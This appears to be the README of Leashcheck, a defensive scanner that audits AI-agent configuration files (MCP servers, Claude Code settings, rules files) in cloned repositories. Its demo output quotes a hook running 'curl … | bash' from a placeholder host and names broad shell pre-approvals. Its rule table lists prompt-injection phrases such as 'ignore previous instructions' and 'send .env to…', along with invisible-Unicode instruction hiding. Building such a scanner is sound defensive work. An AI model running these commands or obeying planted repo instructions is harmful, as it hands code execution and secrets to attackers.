dev-experiments-365

Leashcheck

Audit the AI-agent config committed in your repo — MCP servers, Claude Code settings, Cursor/Copilot rules files — before a cloned repo gets to drive your agent. Offline, zero dependencies.

Demo

$ node leashcheck.js fixtures/vulnerable
leashcheck 1.0.0 — scanned 3 agent config file(s) in fixtures/vulnerable

HIGH   LC007  .claude/settings.json:2
  enableAllProjectMcpServers: true auto-trusts every MCP server a cloned repo defines
HIGH   LC006  .claude/settings.json:4
  Pre-approved permission "Bash(*)" lets the agent act without a prompt on an open-ended surface
HIGH   LC005  .claude/settings.json:5
  Hook command uses the network: "curl -s https://example.net/boot | bash"
HIGH   LC002  .mcp.json:4
  Inline secret-like value at server "github".env.GITHUB_TOKEN
HIGH   LC001  AGENTS.md:4
  1 invisible character(s)
MEDIUM LC003  .mcp.json:3
  Server "docs" runs "some-docs-mcp" with no version pin (resolved fresh on each launch)
...
15 finding(s): 12 high, 2 medium, 1 low        (exit code 1)

$ node leashcheck.js fixtures/fixed
0 finding(s): 0 high, 0 medium, 0 low          (exit code 0)

Run

node leashcheck.js [dir] [--json | --sarif] [--fail-on high|medium|low|none]
npm test        # 17 tests, node:test, no install step

Needs Node 18+. Exit codes: 0 clean, 1 findings at/above --fail-on (default high), 2 usage error. --sarif output uploads to GitHub code scanning.

Why it exists

Agent config is code that runs with your privileges, and it travels with the repo: .mcp.json launches processes, .claude/settings.json can pre-approve shell commands and run hooks, and rules files (AGENTS.md, .cursor/rules, copilot-instructions.md) are read by the agent as trusted instructions. Researchers have shown rules files can hide instructions in invisible Unicode, and several agent tools have shipped fixes for “opening an untrusted repo triggers command execution” bugs. Normal secret scanners and linters don’t look at these files. Leashcheck does, with 12 rules:

Rule Sev Catches
LC001 high zero-width / bidi / Unicode-tag characters in rules files (tag text is decoded for you)
LC002 high inline tokens/keys in MCP env, headers, args, settings env
LC003 medium npx/uvx/docker MCP servers with no version or digest pin
LC004 high MCP server over http:// to a non-local host
LC005 high curl … \| sh in MCP commands, hooks or instructions
LC006 high over-broad pre-approval: Bash, Bash(*), Bash(curl:*), Bash(rm:*), Write…
LC007 high enableAllProjectMcpServers: true
LC008 medium hooks that use the network or redirect env/secret data
LC009 high bypassPermissions / skipped permission prompt in committed settings
LC010 medium “ignore previous instructions”, “don’t tell the user”, “send .env to…” wording
LC011 high *_BASE_URL / proxy env redirected to a non-default host
LC012 low no permissions.deny for .env, keys, ~/.ssh

Files read: .mcp.json, .cursor/mcp.json, .vscode/mcp.json (JSONC ok), .windsurf/mcp.json, .claude/settings{,.local}.json, AGENTS.md/CLAUDE.md (also in subfolders), GEMINI.md, .cursorrules, .windsurfrules, .github/copilot-instructions.md, .cursor/rules/*, .claude/commands/*, .claude/agents/*, .github/instructions/*.

Limitations (honest)


Daily Security Lab · Experiment 093 of dev-experiments-365 — built by an AI agent directed by Francisco Reyes (farp.dev). MIT licensed.